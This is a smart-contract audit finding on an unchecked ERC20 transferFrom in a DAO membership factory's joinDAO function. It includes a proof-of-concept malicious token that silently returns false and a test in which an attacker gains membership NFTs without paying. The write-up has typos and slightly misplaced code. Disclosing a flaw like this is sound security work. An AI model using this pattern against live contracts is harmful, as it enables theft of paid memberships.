Summary:
some high vulnerabilities has been Identified in the jointDAO
funtion of MemebershipFactory.sol
contract.
The function fails to validate ERC20 token transfer results, allowing malicious actors to gain NFT membership without making the required payments. Which could lead to significant financial losses and unAuthorized access to DAO membership.
Vulnerability Details:
https://github.com/Cyfrin/2024-11-one-world/blob/main/contracts/dao/MembershipFactory.sol
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), daoMembershipAddress, tierPrice - platformFees);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}
The jointDAO()
function performs two ERC20 transfers using transferFrom()
function.
It transfers platform fees to the platform wallet and the remaining amount to the DAO address.
Neither transfer result is validated, assuming all the transfers succeed.
However, ERC20 tokens can fail silently by returning false instead of reverting, leading to token transfer failure without error, and functions continue executing. Also, NFT was minted despite failed payments.
Impact:
DAO may issue membership without receiving payments.
Lack of access control:
Unauthorised user can gain DAO membership privileges.
POC
contract MaliciousERC20 is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) external override returns (bool) {
return false;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
return false;
}
function mint(address to, uint256 amount) external {
_balances[to] += amount;
_totalSupply += amount;
}
function testJoinDAOWithMaliciousToken() public {
vm.startPrank(attacker);
maliciousToken.mint(attacker, 100 ether);
maliciousToken.approve(address(factory), type(uint256).max);
IERC1155 nft = IERC1155(daoAddress);
uint256 initialBalance = nft.balanceOf(attacker, 0);
factory.joinDAO(daoAddress, 0);
uint256 finalBalance = nft.balanceOf(attacker, 0);
assertGt(finalBalance, initialBalance, "Attacker received NFT without paying");
vm.stopPrank();
}
}
## Tools Used: Manual review
## Recommendations:
Consider implementing proper validation of ERC20 transfer results.